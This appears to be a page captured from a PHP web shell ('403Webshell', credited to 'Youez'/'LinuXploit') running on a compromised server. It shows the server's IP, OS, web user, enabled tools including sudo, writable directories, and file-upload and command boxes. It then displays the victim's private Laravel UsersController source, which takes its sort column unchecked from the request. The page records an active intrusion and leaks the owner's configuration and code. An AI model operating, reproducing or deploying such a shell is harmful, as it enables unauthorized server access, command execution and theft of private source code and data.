403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/shark-admin/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/shark-admin/app/Http/Controllers/UsersController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Models\User;
use App\Models\UserSetting;
use App\Models\Website;
use App\Models\Prompt;
use App\Models\Provider;
use Illuminate\Support\Facades\Hash;
use Symfony\Component\Process\Process;
use Symfony\Component\Process\Exception\ProcessFailedException;
use Illuminate\Support\Facades\Validator;
use App\Services\EmailValidatorService;
use DB;

class UsersController extends Controller
{
    //
    public function index(Request $request)
    {
        $users = User::query();

        $title = "Users list";
        
        if($request->q){
            $users->where(function($query) use($request) {
                $query->where('name', 'like', '%'.$request->q.'%')
                    ->orWhere('email', 'like', '%'.$request->q.'%');
            });
        }
        $dir = $request->get('dir', 'desc');

        
        if (!in_array(strtolower($dir), ['asc', 'desc'])) {
            $dir = 'desc';
        }
        $col = "users.created_at";

        if($request->col){
            $col = $request->col;
        }
        $users = $users->whereIn('role',['user','agency'])->orderBy($col, $dir);

        $users = $users->paginate(20); // 10 users per page

        foreach ($users as $key => $user) {
            $delete_flag = "confirm"; // default

            if (!empty($user->websites)) {
                foreach ($user->websites as $website) {
                    if ($website->plan) {
                        $delete_flag = "not_allowed";
                        break; // stop checking further websites
                    } else {
                        $delete_flag = "warn"; // at least one website without plan
                    }
                }
            }

            $users[$key]->delete_flag = $delete_flag;
        }
       
        return view('users.index', compact('users','title'));
    }
    public function create(Request $request)
    {
        $title = "Create user";
        
       

        
        return view('users.create', compact('title'));
    }
    public function store(Request $request)
    {
        // 1. Validate input
        $validator = Validator::make($request->all(),[
            'name' => 'required|string|max:255',
            'email' => 'required|email|unique:users,email',
            //'phone_full' => 'required|string|max:20',
            'password' => 'required|string|min:6|confirmed',
            'role' => 'required'
        ]);
        $emailValidatorService = new EmailValidatorService;
        
        $response = $emailValidatorService->validate($request->email);

        //print_r($response); die;

        if($response["disposable"]){

            $validator->after(function ($v) {
                $v->errors()->add('email', 'Please enter non disposable emails.');
            });
            
        }
      
        if ($validator->fails()) {
            
            return redirect()->back()
                ->withErrors($validator)
                ->withInput();
        }
        // 2. Create user
        $user = User::create([
            'name' => $request->name,
            'email' => $request->email,
            //'phone' => $request->phone_full,
            'password' => Hash::make($request->password),
            'role' => $request->role,
            'email_verified_at'=>date("Y-m-d H:i:s")
        ]);

        // 3. Redirect or respond
        return redirect()->route('users.list')->with('success', 'User created successfully.');
    }
    public function toggleBlock($id)
    {
        $user = User::findOrFail($id);
        $user->is_blocked = !$user->is_blocked;
        $user->save();

        $status = $user->is_blocked ? 'blocked' : 'unblocked';
        return redirect()->back()->with('success', "User has been $status.");
    }

    public function edit(Request $request, $id)
    {
        $title = "Edit user";
        
        $user = User::findOrFail($id);

        $prompts = Prompt::query();

        //->where("website_id",null)
        $prompts_count = $prompts->where("user_id",$id)->count();

        return view('users.edit', compact('title','id','user','prompts_count'));
    }
    public function update(Request $request, $id)
    {
        $user = User::findOrFail($id);

        $validated = $request->validate([
            'name'  => 'required|string|max:255',
            'phone_full' => 'nullable|string|max:20',
            'role' => 'required'
        ]);

        $user->name = $validated['name'];
        $user->phone = $validated['phone'] ?? $request->phone_full;
        $user->role = $validated['role'];
        $user->save();

        return redirect()->back()->with('success', 'User profile updated successfully.');
    }
    public function settings(Request $request, $id)
    {
        $title = "Update settings";
        
        $setting = UserSetting::where("user_id", $id)->first();

        $user = User::where("id", $id)->first();

        $prompts = Prompt::query();

        //->where("website_id",null)
        $prompts_count = $prompts->where("user_id",$id)->count();
        
        return view('users.settings', compact('title','id','setting','prompts_count','user'));
    }
    public function updateSettings(Request $request, $id)
    {
        $user = User::findOrFail($id);

        $validated = $request->validate([
            'websites_limit' => 'required|integer|min:1|max:10'
        ]);

        $websites = Website::where("user_id", $user->id)->count();

        if($websites > $request->websites_limit){
            return redirect()->back()->with('error', 'You cannot set limit smaller than number of websites created by the user. Please remove extra websites first.');
        }

        $setting = UserSetting::where("user_id", $user->id)->first();

        if(!$setting){
            $setting = new UserSetting;

            $setting->user_id = $user->id;

        
        }
        $setting->websites_limit = $request->websites_limit;
        $setting->is_wp_admin_access = $request->has('is_wp_admin_access') ? 1 : 0;

        $websites = Website::where("user_id", $user->id)->get();

        foreach($websites as $website){

            if($setting->is_wp_admin_access){
                $this->changeRole($website, "administrator");
            } else {
                if($website->active_plan_id == null){
                    $this->changeRole($website, "editor");
                } else {
                    $this->changeRole($website, "bloxby-user");
                }
                
            }
        }

        if($user->email_verified_at == null){

            $dateTime = \DateTime::createFromFormat('d-m-Y H:i', $request->trial_ending_at);

            // Convert to MySQL format
            $mysqlDateTime = $dateTime->format('Y-m-d H:i:s'); // "2025-08-29 10:30:00"
            
            $user->trial_ending_at = $mysqlDateTime;

            $user->save();
        }

        $setting->save();

        return redirect()->back()->with('success', 'User settings updated successfully.');
    }
    public function changeRole($website, $role){
        
        if($website){

            
            $user = $website->user;

            $server_meta = json_decode($website->server_meta, true);
            
            $process = new Process([
                'sudo',
                '/var/bloxbycommands/changeinrole.sh',
                '/var/www/'.$server_meta["folder"].'/'.$server_meta["sftp_user"]."/public_html",
                $user->email, 
                $role
            ]);
            $process->setTimeout(300); // Increase for long tasks
            $process->run();

            if (!$process->isSuccessful()) {

                
                return response()->json(['status' => 'error', 'message' => $process->getErrorOutput()], 500);
                
            }
        }
    }
    public function deleteUser(Request $request, $id){

        try{
            DB::Begintransaction();

            $user = User::where("id", $id)->first();

            $error = false;

            if($user){

                

                $websites = Website::where("user_id", $user->id)->get();

                 foreach($websites as $website){

                    if($website->plan){
                        return redirect()->back()->with('error', 'You cannot delete the user because they are on a paid plan');
                    }else if($website->status!='completed'){
                            return redirect()->back()->with('error', 'One of websites generation is in progress, please wait till it is completed.');
                        }
                }

                foreach($websites as $website){

                    $response = $this->removeWebsite($website);

                    if(!$response["error"]){
                        $website->delete();
                    } else {
                        $error = true;
                    }
                }
                if(!$error){
                    Prompt::where("user_id", $user->id)->delete();

                    UserSetting::where("user_id", $user->id)->delete();

                    Provider::where("user_id", $user->id)->delete();

                    $user->delete();
                } else {
                    DB::Rollback();

                     return redirect()->back()->with('error', 'Some error occur while deleting a website');
                }
            }
            DB::commit();

            return redirect()->back()->with('success', 'User has been deleted successfully.');
        } catch(Exception $e){

            DB::Rollback();
            
            return redirect()->back()->with('error', $e->getMessage());
        }
    }
    public function removeWebsite($website){

        if($website){

            $server_meta = json_decode($website->server_meta, true);

            $process = new Process([
                'sudo',
                '/var/bloxbycommands/remove_site.sh',
                '--folder', $server_meta["folder"],
                '--site', $server_meta["site"],
                '--wpsite', $server_meta["slug_environment"],
                '--domain',  $server_meta["domain"]
            ]);
            //$process = Process::fromShellCommandline(env("SITEREMPATH")." site_bloxy_wp_".$website->id." site_bloxy_db_".$website->id); // change to your command
            $process->setTimeout(300); // Increase for long tasks
            $process->run();

            if (!$process->isSuccessful()) {

                return ["error"=>true, "message" => $process->getErrorOutput()];
                //return response()->json(['status' => 'error', 'message' => $process->getErrorOutput()], 500);
                
            } else {
                
                return ["error"=>false, "message"=> $process->getOutput()];
                //$website->delete();
                //return redirect()->back()->with(['status' => 'success', 'output' => $process->getOutput()]);
            }
        }
        
        return ["error"=>true, "message"=> "Website not found"];
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit